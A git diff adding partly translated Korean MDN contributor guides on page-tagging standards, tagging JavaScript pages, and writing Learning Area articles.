+ <dt>문서 분류</dt>
+ <dd>어떤 종류의 문서인가요? 레퍼런스? 튜토리얼? 랜딩 페이지? 저희 방문자는 태그를 사용해 검색 결과를 필터링 할 수 있으므로 매우 중요합니다.</dd>
+ <dt>항목 식별</dt>
+ <dd>무엇에 관한 문서인가요? API? DOM? 그래픽? 다시 말씀드리지만, 태그를 사용해 검색 겨로가를 필터링 할 수 있으므로 중요합니다.</dd>
+ <dt>API 식별</dt>
+ <dd>API 레퍼런스 페이지는 문서화된 API의 특정 구성요소를 식별할 수 있어야 합니다. (즉, 어떤 인터페이스인지, 그리고 해당되는 경우에 페이지가 다루는 속성이나 방법).</dd>
+ <dt>기술 현황</dt>
+ <dd>이 기술의 상태는 어떤가요? 비표준인가요? 더 이상 사용되지 않나요? 실험 단계인가요?</dd>
+ <dt>기술 수준</dt>
+ <dd>튜토리얼이나 가이드의 경우, 이 글이 다루는 내용이 얼마나 어려운가요?</dd>
+ <dt>문서 메타데이터</dt>
+ <dd>기여자 커뮤니티는 태그를 사용하여 어떤 페이지에 어떤 작업이 필요한지 추적합니다.</dd>
+</dl>
+
+<h2 id="태그_유형별_가이드">태그 유형별 가이드</h2>
+
+<p>다음은 태그 유형 및 적합한 값에 대한 빠른 가이드입니다.</p>
+
+<h3 id="문서_카테고리">문서 카테고리</h3>
+
+<p>여기에 있는 카테고리들로 글을 태그하면, 자동화 시스템이 방문 페이지, 목차 등을 좀 더 정확하게 생성할 수 있습니다. 저희의 새로운 검색 시스템은 이런 용어들을 사용해서 방문자들이 레퍼런스나 가이드 정보를 찾을 수 있을 겁니다.</p>
+
+<p>다음과 같은 카테고리 명을 표준 태그로 사용하고 있습니다.</p>
+
+<dl>
+ <dt><code>{{Tag("Intro")}}</code></dt>
+ <dd>
+ <p>이 문서는 주제에 관한 입문 자료를 제공합니다. 이상적으로는 각 기술 영역에 하나의 인트로만 존재해야 합니다.</p>
+ </dd>
+ <dt><code>{{Tag("Reference")}}</code></dt>
+ <dd>이 문서는 API, 요소(Element), 속성 등에 관한 참조 자료가 포함되어 있습니다.</dd>
+ <dt><code>{{Tag("Landing")}}</code></dt>
+ <dd>이 문서는 랜딩 페이지입니다.</dd>
+ <dt><code>{{Tag("Guide")}}</code></dt>
+ <dd>이 문서는 방법 일람이나 가이드입니다.</dd>
+ <dt><code>{{Tag("Example")}}</code></dt>
+ <dd>이 문서는 코드 샘플 페이지거나, 코드 샘플(한 줄짜리 구문 예제가 아닌 실제로 유용한 코드 조각)을 포함하고 있습니다.</dd>
+</dl>
+
+<h3 id="주제">주제</h3>
+
+<p>주제의 범위를 밝힘으로써 검색 결과를 개선하는데 도움을 주실 수 있습니다(또한 랜딩 페이지와 네비게이션에도 도움을 줍니다).</p>
+
+<p>새로운 항목이 생길 수 있어 유연성을 위한 여지가 있긴 하지만, 되도록 API나 기술의 이름으로 제한하려고 합니다. 자주 쓰이는 예시입니다.</p>
+
+<ul>
+ <li><code>{{Tag("HTML")}}</code></li>
+ <li><code>{{Tag("CSS")}}</code></li>
+ <li><code>{{Tag("JavaScript")}}</code> (대문자 S)</li>
+ <li><code>{{Tag("Document")}}</code></li>
+ <li><code>{{Tag("DOM")}}</code></li>
+ <li><code>{{Tag("API")}}</code> API의 각 개요, 인터페이브, 메서드, 속성마다.</li>
+ <li><code>{{Tag("Method")}}</code> API의 각 메서드마다.</li>
+ <li><code>{{Tag("Property")}}</code> API의 각 속성마다.</li>
+ <li><code>{{Tag("Graphics")}}</code></li>
+ <li><code>{{Tag("SVG")}}</code></li>
+ <li><code>{{Tag("WebGL")}}</code></li>
+ <li><code>{{Tag("Tools")}}</code></li>
+ <li><code>{{Tag("Web")}}</code></li>
+ <li><code>{{Tag("Element")}}</code></li>
+</ul>
+
+<p>대체로, your topic identification tag should be the name of an interface with a number of related pages (like <a href="/en-US/docs/Web/API/Node" title="/en-US/docs/Web/API/Node">Node</a>, which has many pages for its various properties and methods), or the name of an overall technology type. You might tag a page about WebGL with <code>Graphics</code> and <code>WebGL</code>, for example, but a page about {{HTMLElement("canvas")}} with <code>HTML</code>, <code>Element</code>, <code>Canvas</code>, and <code>Graphics</code>.</p>
+
+<h4 id="모질라_관련_콘텐츠">모질라 관련 콘텐츠</h4>
+
+<p>아래 태그는 모질라 관련 콘텐츠에만 사용합니다.</p>
+
+<ul>
+ <li><code>{{Tag("Mozilla")}}</code></li>
+ <li><code>{{Tag("Firefox")}}</code></li>
+ <li><code>{{Tag("Firefox OS")}}</code></li>
+ <li><code>{{Tag("Gecko")}}</code></li>
+ <li><code>{{Tag("XUL")}}</code></li>
+ <li><code>{{Tag("XPCOM")}}</code></li>
+</ul>
+
+<h3 id="API_식별">API 식별</h3>
+
+<p>API 참조 내에서 각 문서는 API에서 다루는 부분을 식별해야합니다.</p>
+
+<dl>
+ <dt>{{tag("Interface")}}</dt>
+ <dd>The main article for an interface should have this tag. For example, {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{tag("Constructor")}}</dt>
+ <dd>Each interface may have up to one page tagged "Constructor"; this is the interface's constructor. The page should have the same name as the interface, like {{domxref("RTCPeerConnection.RTCPeerConnection()")}}.</dd>
+ <dt>{{tag("Property")}}</dt>
+ <dd>Every article describing a particular property within an interface needs this tag. See {{domxref("RTCPeerConnection.connectionState")}}, for example.</dd>
+ <dt>{{tag("Method")}}</dt>
+ <dd>Each article documenting an interface method needs this tag. See {{domxref("RTCPeerConnection.createOffer()")}} for example.</dd>
+</dl>
+
+<p>In addition, the reference pages need to include interface, property, and method names among their tags. Some examples:</p>
+
+<dl>
+ <dt>The interface {{domxref("RTCPeerConnection")}}</dt>
+ <dd>Include the tag "RTCPeerConnection" along with the other relevant tags ("Interface", "WebRTC", "WebRTC API", "API", "Reference", and so forth).</dd>
+ <dt>The method {{domxref("RTCPeerConnection.createOffer()")}}</dt>
+ <dd>Include the tags "RTCPeerConnection" and "createOffer" (note <em>no</em> parentheses in tag names!) along with the other relevant tags, including "WebRTC", "WebRTC API", "API", "Reference", and so forth. Consider including things like "Offer" and "SDP", which are also relevant here.</dd>
+ <dt>The property {{domxref("RTCPeerConnection.iceConnectionState")}}</dt>
+ <dd>Include the tags "RTCPeerConnection" and "iceConnectionState" along with the other relevant tags, including "WebRTC", "WebRTC API", "API" and "Reference". Also consider including "ICE".</dd>
+</dl>
+
+<h3 id="기술_상태">기술 상태</h3>
+
+<p>To help the reader understand how viable a technology is, we use tags to label pages as to the status of the technology's specification. This isn't as detailed as actually explaining what the spec is and how far the technology has come in the specification process (that's what the Specifications table is for), but it helps the reader judge, at a glance, whether it's a good idea to use the technology described in the article.</p>
+
+<p>다음 태그와 가능한 값은 다음과 같습니다:</p>
+
+<dl>
+ <dt><code>{{Tag("Read-only")}}</code></dt>
+ <dd>Apply this tag to reference pages which describe a property or attribute which is read-only.</dd>
+ <dt><code>{{Tag("Non-standard")}}</code></dt>
+ <dd>Indicates that the technology or API described on the page is not part of a standard, whether it's stable or not in any browsers which implement it (if it's not stable, it should also be {{Tag("Experimental")}}). If you don't use this tag, your readers will assume the technology is standard. The compatibility table on the page should clarify which browser(s) support this technology or API.</dd>
+ <dt><code>{{Tag("Deprecated")}}</code></dt>
+ <dd>The technology or API covered on the page is marked as deprecated in the specification, and is likely to eventually be removed, but is generally still available in current versions of browsers.</dd>
+ <dt><code>{{Tag("Obsolete")}}</code></dt>
+ <dd>The technology or API has been deemed obsolete and has been removed (or is actively being removed) from all or most current browsers.</dd>
+ <dt><code>{{Tag("Experimental")}}</code></dt>
+ <dd>The technology is not standardized, and is an experimental technology or API that may or may not ever become part of a standard. It is also subject to change in the browser engine (typically only one) that implements it. If the technology isn't part of any specification (even in draft form), it should also have the {{tag("Non-standard")}} tag.</dd>
+ <dt><code>{{Tag("Needs Privileges")}}</code></dt>
+ <dd>The API requires privileged access to the device on which the code is running.</dd>
+ <dt><code>{{Tag("Certified Only")}}</code></dt>
+ <dd>The API only works in certified code.</dd>
+</dl>
+
+<p>These tags are no excuse to leave out the <a href="/en-US/docs/Project:Compatibility_tables" title="/en-US/docs/Project:Compatibility_tables">compatibility table</a> in your article! That should always be present.</p>
+
+<h3 id="기술_수준">기술 수준</h3>
+
+<p>Use the skill-level tag type only for guides and tutorials (that is, pages tagged <code>Guide</code>) to help users choose tutorials based on how familiar they are with a technology. There are three values for this:</p>
+
+<dl>
+ <dt><code>{{Tag("Beginner")}}</code></dt>
+ <dd>Articles designed to introduce the reader to a technology they've never used or have only a passing familiarity with.</dd>
+ <dt><code>{{Tag("Intermediate")}}</code></dt>
+ <dd>Articles for users who have gotten started with the technology but aren't experts.</dd>
+ <dt><code>{{Tag("Advanced")}}</code></dt>
+ <dd>Articles about stretching the capabilities of a technology and of the reader.</dd>
+</dl>
+
+<h3 id="문서_메타데이터">문서 메타데이터</h3>
+
+<p>글쓰기 커뮤니티는 태그를 사용하여 문서에 특정 유형의 작업이 필요하다고 표시합니다. 우리가 가장 많이 사용하는 목록은 다음과 같습니다:</p>
+
+<dl>
+ <dt><code>{{Tag("Draft")}}</code></dt>
+ <dd>The article is not complete, and is at least in theory still actively being updated (although it's also possible it's been forgotten about). Try to check with the most recent contributors before making changes, in order to avoid potential content collisions.</dd>
+ <dt><code>{{Tag("NeedsContent")}}</code></dt>
+ <dd>The article is a stub, or is otherwise lacking information. This tag means that someone should review the content and add more details and/or finish writing the article.</dd>
+ <dt><code>{{Tag("NeedsExample")}}</code></dt>
+ <dd>The article needs one or more examples created to help illustrate the article's point. These examples should use the <a href="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples" title="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples">live sample system</a>.</dd>
+ <dt><code>{{Tag("NeedsLiveSamples")}}</code></dt>
+ <dd>The article has one or more examples that need to be updated to use the <a href="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples" title="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples">live sample system</a>.</dd>
+ <dt><code>{{Tag("NeedsUpdate")}}</code></dt>
+ <dd>The content is out of date and needs to be updated.</dd>
+ <dt><code>{{Tag("l10n:exclude")}}</code></dt>
+ <dd>The content is not really worth localizing and will not appear on localization status pages.</dd>
+ <dt><code>{{Tag("l10n:priority")}}</code></dt>
+ <dd>The content is important and should be marked as a priority for MDN translators. Shows up in an extra priority table on localization status pages.</dd>
+</dl>
+
+<h2 id="조합하기">조합하기</h2>
+
+<p>각 페이지에 여러 유형의 태그를 할당할 수 있습니다.</p>
+
+<dl>
+ <dt>초보자를 위한 WebGL 튜토리얼</dt>
+ <dd><code>WebGL</code>, <code>Graphics</code>, <code>Guide</code>, <code>Beginner</code></dd>
+ <dt>{{HTMLElement("canvas")}}용 레퍼런스 페이지</dt>
+ <dd><code>Canvas</code>, <code>HTML</code>, <code>Element</code>, <code>Graphics,</code> <code>Reference</code></dd>
+ <dt>Firefox OS 개발자 도구용 랜딩 페이지</dt>
+ <dd><code>Tools</code>, <code>Firefox OS</code>, <code>Landing</code></dd>
+</dl>
+
+<h2 id="태그_추가_및_검색_필터">태그 추가 및 검색 필터</h2>
+
+<p>MDN 페이지에 올바르게 태그를 지정하지 않으면 검색 필터가 제대로 작동하지 않습니다. 다음은 검색 필터 목록과 검색 태그입니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> If multiple tags are listed under "Tag name," that means any one or more of these tags must be present for the article to match.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">필터<br>
+    그룹</th>
+   <th scope="col">검색명</th>
+   <th scope="col">태그명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>주제</th>
+   <td>Open Web Apps</td>
+   <td>{{Tag("Apps")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>HTML</td>
+   <td>{{Tag("HTML")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>CSS</td>
+   <td>{{Tag("CSS")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>JavaScript</td>
+   <td>{{Tag("JavaScript")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>APIs and DOM</td>
+   <td>{{Tag("API")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Canvas</td>
+   <td>{{Tag("Canvas")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>SVG</td>
+   <td>{{Tag("SVG")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>MathML</td>
+   <td>{{Tag("MathML")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>WebGL</td>
+   <td>{{Tag("WebGL")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>XUL</td>
+   <td>{{Tag("XUL")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Marketplace</td>
+   <td>{{Tag("Marketplace")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Firefox</td>
+   <td>{{Tag("Firefox")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>안드로이드 용 Firefox</td>
+   <td>{{Tag("Firefox Mobile")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>데스크탑 용Firefox</td>
+   <td>{{Tag("Firefox Desktop")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Firefox 운영체제</td>
+   <td>{{Tag("Firefox OS")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>모바일</td>
+   <td>{{Tag("Mobile")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>웹 개발</td>
+   <td>{{Tag("Web Development")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>
+    <p>애드온 &amp;<br>
+     확장프로그램</p>
+   </td>
+   <td>{{Tag("Add-ons ")}}|| {{Tag("Extensions")}} || {{Tag("Plugins")}} || {{Tag("Themes")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>게임</td>
+   <td>{{Tag("Games")}}</td>
+  </tr>
+  <tr>
+   <th>기술<br>
+    수준</th>
+   <td>전문가</td>
+   <td>{{Tag("Advanced")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>중급자</td>
+   <td>{{Tag("Intermediate")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>초급자</td>
+   <td>{{Tag("Beginner")}}</td>
+  </tr>
+  <tr>
+   <th>
+    <p>문서 <br>
+     형식</p>
+   </th>
+   <td>문서</td>
+   <td><em>This restricts the search to docs content, leaving out Hacks and other MDN content.</em></td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>체험판</td>
+   <td><em>This includes Demo Studio content in the search results.</em></td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>도구</td>
+   <td>{{Tag("Tools")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>코드 샘플</td>
+   <td>{{Tag("Example")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>튜토리얼</td>
+   <td>{{Tag("Guide")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>개발자<br>
+    프로필</td>
+   <td><em>This includes developer profiles from the MDN site in the search results.</em></td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>외부<br>
+    리소스</td>
+   <td><em>The dev team is still figuring this out...</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="해결할_수_있는_태그_추가_문제">해결할 수 있는 태그 추가 문제</h2>
+
+<p>해결할 수 있는 여러 종류의 태그 추가 문제가 있습니다:</p>
+
+<dl>
+ <dt>태그 없음</dt>
+ <dd>Generally articles should have at <em>least</em> a "{{anch("Document category", "category")}}" tag and a "{{anch("Topic", "topic")}}" tag. Usually other tags are appropriate as well, but if you can help us ensure that the minimum tags are present, you'll be a documentation hero!</dd>
+ <dt>표준을 따르지 않은 태그</dt>
+ <dd>Please fix any documents whose tags don't follow the standards on this page.<br>
+ Note that you may occasionally see some localized tags (such as <code>Référence</code>) showing up on some English pages. This was due to a <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=776048">bug in Kuma</a>, which caused the tags to reappear even if they were deleted. That bug has <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=776048#c37">since been fixed</a>, so any remaining localized tags can be cleaned up if they're spotted.</dd>
+ <dt>올바르지 않은 태그</dt>
+ <dd>If you're looking at an article about HTML and it's tagged "JavaScript", that's probably wrong! Likewise, if an article discusses Mozilla internals but has a "Web" tag, that's probably wrong too. Remove these tags and add the right tags if they aren't already there. Please also correct misspelled tags (e.g., "Javascript" will still match, since tags are case-insensitive, but let's not be sloppy!).</dd>
+ <dt>누락된 태그</dt>
+ <dd>If an article has some but not all of the tags it needs, feel free to add more. For example, if a page in JavaScript reference is (correctly) tagged "JavaScript" but nothing else, you're invited to tag the page "Reference" as well!</dd>
+ <dt>스팸 태그</dt>
+ <dd>This insidious beast is the most revolting tag problem of all: some Web vermin has deposited its droppings in the page tags (like "Free warez!" or "Hey I was browsing your site and wanted to ask you if you could help me solve this problem I'm having with Flash crashing all the time"). We've got to delete these right away! They're ugly, they're hard to manage if they're allowed to linger too long, and they're terrible for {{Glossary("SEO")}}.</dd>
+</dl>
+
+<p>If you see one (or more) of these problems, please <a href="/en-US/docs/Project:MDN/Contributing/Getting_started#Logging_into_MDN">log into MDN</a> and click EDIT at the top right of the MDN window. Once the editor loads up, scroll down to the bottom of the page, where you'll see the tag box. For more details on the tagging interface, see "<a href="/en-US/docs/Project:MDN/Contributing/Editor_guide#The_tags_box" title="/en-US/docs/Project:MDN/Contributing/Editor_guide#The_tags_box">The tags box</a>" in the <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide" title="/en-US/docs/Project:MDN/Contributing/Editor_guide">MDN editor guide</a>.</p>
diff --git a/files/ko/mdn/contribute/howto/tag_javascript_pages/index.html b/files/ko/mdn/contribute/howto/tag_javascript_pages/index.html
new file mode 100644
index 0000000000..8825a20a62
--- /dev/null
+++ b/files/ko/mdn/contribute/howto/tag_javascript_pages/index.html
@@ -0,0 +1,69 @@
+---
+title: JavaScript tag를 다는 방법
+slug: MDN/Contribute/Howto/Tag_JavaScript_pages
+translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages
+---
+<div>{{MDNSidebar}}</div><p class="summary">태그달기는 페이지에 메타 정보를 추가함을 통해 관련된 내용이 묶여질수 있도록 하는 작업을 포함합니다.</p>
+
+<dl>
+ <dt><strong>어디서 필요한가요?</strong></dt>
+ <dd><a href="/en-US/docs/Web/JavaScript/Doc_status#No_tags">태그가 없는 JavaScript에 관련된 특정한 페이지</a>안에서 필요합니다.</dd>
+ <dt><strong>작업을 위해서 무엇을 알 필요가 있나요?</strong></dt>
+ <dd>메소드나 변수들과 같은 기본적 JavaScript 코딩 지식이 필요합니다.</dd>
+ <dt>어떤 절차가 있나요?</dt>
+ <dd>
+ <ol>
+  <li>위에 링크된 페이지들중 하나를 선택하세요</li>
+  <li>페이지를 로드하기위해 기사링크를 클릭하세요</li>
+  <li>페이지가 로드됐다면, 맨 위 있는EDIT버튼을 클릭하세요; 이는 당신을 MDN 에디터로 만들어줍니다.</li>
+  <li>적어도 JavaScript 태그가 추가돼야 합니다. 아래에는 가능한 다른 태그들입니다.
+   <table class="standard-table">
+    <thead>
+     <tr>
+      <th scope="col">Tag</th>
+      <th scope="col">What pages to use it on</th>
+     </tr>
+    </thead>
+    <tbody>
+     <tr>
+      <td><code>Method</code></td>
+      <td>methods</td>
+     </tr>
+     <tr>
+      <td><code>Property</code></td>
+      <td>properties</td>
+     </tr>
+     <tr>
+      <td><code>prototype</code></td>
+      <td>prototypes</td>
+     </tr>
+     <tr>
+      <td>Object type name</td>
+      <td>methods of an object; for example String.fromCharCode should have the tag <code>String</code></td>
+     </tr>
+     <tr>
+      <td><code>ECMAScript6 </code>and <code>Experimental</code></td>
+      <td>features added in a new ECMAScript version</td>
+     </tr>
+     <tr>
+      <td><code>Deprecated</code></td>
+      <td>deprecated features (whose use is discouraged but still supported)</td>
+     </tr>
+     <tr>
+      <td><code>Obsolete</code></td>
+      <td>obsolete features (which are no longer supported in modern browsers)</td>
+     </tr>
+     <tr>
+      <td>others</td>
+      <td>See <a href="/en-US/docs/Project:MDN/Contributing/Tagging_standards">MDN tagging standards</a> for other possible tags to apply</td>
+     </tr>
+    </tbody>
+   </table>
+  </li>
+  <li>Save with a comment.</li>
+  <li>You're done!</li>
+ </ol>
+ </dd>
+</dl>
+
+<p> </p>
diff --git a/files/ko/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html b/files/ko/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html
new file mode 100644
index 0000000000..1eddcc7383
--- /dev/null
+++ b/files/ko/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html
@@ -0,0 +1,108 @@
+---
+title: 사람들이 웹에 대해 알 수 있도록 기사를 작성하는 방법
+slug: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web
+translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web
+---
+<div>{{MDNSidebar}}</div>
+
+<p>MDN의 학습 영역(<strong><a href="/en-US/docs/Learn">Learning Area</a>)은</strong> 새로운 개발자들에게 웹 개념을 소개하는 글들을 위한 우리의 집입니다. 왜냐하면 학습 영역의 콘텐츠는 대부분 초보자를 위한 것들이고, 당신의 지식을 공유하고 웹에 대해서 알고 싶은 사람들을 돕는 좋은 공간이기 때문입니다. 새로운 개발자들이 이 콘텐츠를 따라 할 수 있도록 하는 것이 중요합니다. 따라서 우리는 특별히 관심을 기울여야 합니다. </p>
+
+<p><span class="seoSummary">이 글에서는 학습 영역(<a href="/en-US/docs/Learn">Learning Area</a>)을 위한 페이지를 작성하는 방법을 설명합니다.</span></p>
+
+<h2 id="학습_영역_기사를_작성하는_방법">학습 영역 기사를 작성하는 방법</h2>
+
+<p>당신의 지식을 공유하려면 아래의 큰 초록색 버튼을 누르세요. 그러면 다섯 단계로 이어집니다. 만약 당신이 아이디어를 찾는다면, 우리의 트렐로 보드(<a href="https://trello.com/b/LDggrYSV">our team Trello board</a>)를 살펴보세요.</p>
+
+<p></p><div class="align-center"><a class="button ignore-external mega positive" href="/ko/docs/new?parent=111819">새 학습 기사 작성<div></div></a></div><p></p>
+
+<p>이 기사는 정확한 위치에 도달할 수 없을지도 모르지만, 최소한 그것은 MDN에게 달려 있습니다. 만약 당신이 정확한 위치로 옮기고 싶다면 우리(<a href="/en-US/docs/Learn#Contact_us">Contact us</a>)에게 연락해 주세요.</p>
+
+<h3 id="1단계_두개의_요약문_작성">1단계 : 두개의 요약문 작성</h3>
+
+<p>기사의 첫 문장은 당신이 다루고자 하는 주제를 요약해야 하고, 두번째 문장은 당신이 기사에 실린 물건들을 좀 더 구체적으로 다루어야 합니다. 예를 들어 :</p>
+
+<div class="summary">
+<p>{{glossary("HTML")}}  HTML파일에는 정형 콘텐츠, {{Glossary("CSS")}}, 또 다른 주요 웹 기술이 포함되어 있어 콘텐츠를 원하는 대로 바라볼 수 있습니다.  이 기사에서는 이 기술이 어떻게 작동하는지, 어떻게 기본적인 예제를 작성하는지 살펴보겠습니다. </p>
+</div>
+
+<p>예를 들어 CSS가 페이지 스타일에 사용되는 핵심 웹 기술이라고 간단히 설명해 주세요. 그것은 독자들이 기사의 주제가 무엇인지에 대한 꽤 좋은 아이디어를 얻을 수 있는 충분한 근거가 됩니다. </p>
+
+<p>왜냐하면 학습 영역 기사들은 주로 초보자를 대상으로 하고, 각각의 기사는 너무 많은 새로운 정보로 독자들을 압도하지 않도록 한가지 간단한 주제를 다루어야 하기 때문입니다. 만약 당신이 기사를 한 문장으로 요악하지 못하면,  너무 많은 것을 하나의 기사에서 다뤄야 할 지도 모릅니다.</p>
+
+<h3 id="2단계_상단_상자_추가">2단계 : 상단 상자 추가</h3>
+
+<p>그리곤 독자들의 학습 과정에서 어떤 영향이 있는지 파악하는 것을 돕기 위해서 상단 상자를 추가합니다.  하단에 하나의 예로"URL과 그 구조의 이해(<a href="/en-US/docs/Learn/Understanding_URLs">Understanding URLs and their structure</a>)"에 대한 상단 상자가 있습니다. 당신의 기사를 쓰는 데 이 기사를 참고할 수 있습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">필수 조건:</th>
+   <td>먼저 인터넷이 어떻게 작동하는지(<a class="new" href="https://developer.mozilla.org/en-US/docs/Learn/How_the_Internet_works">how the Internet works</a>), 웹서버가 무엇인지(<a class="new" href="https://developer.mozilla.org/en-US/docs/Learn/What_is_a_Web_server">what a Web server is</a>), 웹에서 링크의 개념(<a class="new" href="https://developer.mozilla.org/en-US/docs/Learn/Understanding_links_on_the_web">the concepts behind links on the web</a>)을 알아야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>URL에 대해서와 URL이 어떻게 웹에서 작동하는지를 배웁니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>필수 조건</dt>
+ <dd>독자가 이 기사를 이해하기 위해 반드시 알고 있어야 할 것이 무엇인가요? 가능한 한 각 필수 요소에 대한 링크를 해당 개념을 다루는 다른 학습 영역 문서에 연결하세요. (사전 지식이 필요 없는 기초적인 기사가 아니라면)</dd>
+ <dt>목표</dt>
+ <dd>
+ <p>이 섹션에서는 독자가 글을 통해 습득할 내용을 간략하게 설명합니다. 이것은 요약문과는 좀 다릅니다, 요약문에서는 기사의 주제를 요약하지만 목표 부분은 독자들이 기사의 과정을 통해 달성할 수 있는 것을 구체적으로 제시합니다.</p>
+ </dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> 이 테이블을 생성하려면, 위의 예제 테이블을 복사하여 붙여 넣을 수 있으며, MDN의 editor의 <a href="/en-US/docs/MDN/Contribute/Editor/Tables">table tool</a>을 사용할 수 있습니다. 테이블 도구를 사용하도록 선택한 경우에는 기본 standard-table 클래스 이외에 learn-box CSS 클래스를 추가해야 합니다. 이렇게 하려면 테이블 속성을 생성하거나 편집할 때"Advanced"패널로 이동하여 <strong>스타일시트 클래스</strong> 필드를 "standard-table learn-box"로 설정합니다. </p>
+</div>
+
+<h3 id="3단계_전체_설명_작성">3단계 : 전체 설명 작성</h3>
+
+<p>다음으로 가장 중요한 개념을 강조하는 기사를 좀 더 자세히 설명하는 더 긴 설명을 작성합니다. 왜 독자들이 이 주제를 배우고 당신의 기사를 읽는 데 시간을 할애해야 하는지 설명하는 것을 잊지 마세요!</p>
+
+<h3 id="4단계_깊이_들어가기">4단계 : 깊이 들어가기</h3>
+
+<p>모든 작업을 마친 후, 마침내 주제에 더욱 깊이 들어갈 수 있습니다. 원하는 대로 이 분야의 기사를 작성합니다(우리의 <a href="/en-US/docs/MDN/Contribute/Style_guide">style guide</a>를 자유롭게 참고하셔도 됩니다).  당신이 빛날 수 있는 기회입니다! 작성하는 주제에 대해 자세히 설명합니다. 전체 참조 문서에 대한 링크를 제공하고, 기술이 어떻게 작동하는지 설명하고, 구문 및 사용 상세 내역을 제공하는 방법을 설명합니다. 당신이 하고 싶은 대로 하세요!</p>
+
+<p>가이드로서, 여기에 초보자들을 위한 몇가지 조언이 있습니다:</p>
+
+<ul>
+ <li>하나의 주제에 집중합니다. 만약 다른 주제를 다뤄야 할 필요가 있다고 생각하는 경우, 주제인 기사에서 벗어났거나 둘 이상의 기사를 작성해야 한다는 것을 뜻합니다.</li>
+ <li>간단한 말로 작성하세요. 가능한 기술 용어를 사용하거나, 해당 용어를 정의하고, 해당 용어의 용어집에 연결할 수 있도록 합니다.</li>
+ <li>이론적 개념을 쉽게 이해할 수 있도록 간단한 예제를 포함시킨다. 사람들의 최고의 학습법은 예제입니다. 학문적인 논문을 쓰는 대신에, 우리는 초보자들이 원문을 쉽게 따라오기를 원합니다.</li>
+ <li>
+  <p>시각적인 보조 장치는 쉽게 소화할 수 있고 추가 정보를 전달하기도 한다. 이미지, 다이어그램, 비디오 및 표를 자유롭게 사용하세요. 텍스트를 포함하는 도표 또는 차트를 사용하는 경우,"SVG"를 사용하여 텍스트를 현지화할 수 있습니다. </p>
+ </li>
+</ul>
+
+<p>우리 기능의 첫번째 섹션을 살펴보세요. 몇가지 좋은 설명 섹션을 볼 수 있는 코드 문서를 보세요.(<a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a>)</p>
+
+<h3 id="5단계_능동적_학습_자료_제공">5단계 : "능동적 학습" 자료 제공</h3>
+
+<p>기사에 삽화를 넣는 것은 독자들이 더 쉽게 이해하고 배우는데 도움이 된다. 완수할 수 있는 연습, 튜토리얼 과제를 제공하세요. 여러분의 기사를 적극적으로 사용하고 실험하고 실험하고 실험하는 것을 통해, 여러분은 그들의 뇌에 정보를 "잠금" 하는 것을 도울 수 있습니다.</p>
+
+<p>직접 예제(<a href="/en-US/docs/MDN/Contribute/Structures/Live_samples">live samples</a>)로 페이지 안에 포함시키거나 직접 예제처럼 제대로 작동하지 않는 경우 링크하는 것(<a href="/en-US/docs/MDN/Contribute/Editor/Links">link to them</a>)을 선택할 수 있습니다. 만약 여러분이 이 가치있는 자료를 만드는데 관심이 있다면, 웹을 배우는 것을 돕기 위한 대화형 연습 만들기(<a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Create_an_interactive_exercise_to_help_learning_the_web">Create an interactive exercise to help learning the Web</a>) 에 대한 기사를 읽어보세요.</p>
+
+<p>기존의 능동적인 학습 자료에 대한 링크를 제공할 수 없는 경우(관련 자료에 대해서 모르거나 만들 시간이 없을 경우) "NeedsActiveLearning"를 문서에 태그하세요. 다른 기여자들은 능동적인 학습 자료가 필요한 기사를 찾을 수 있고 당신이 그것들을 고안해 낼 수 있도록 도와 줄 지도 모릅니다.</p>
+
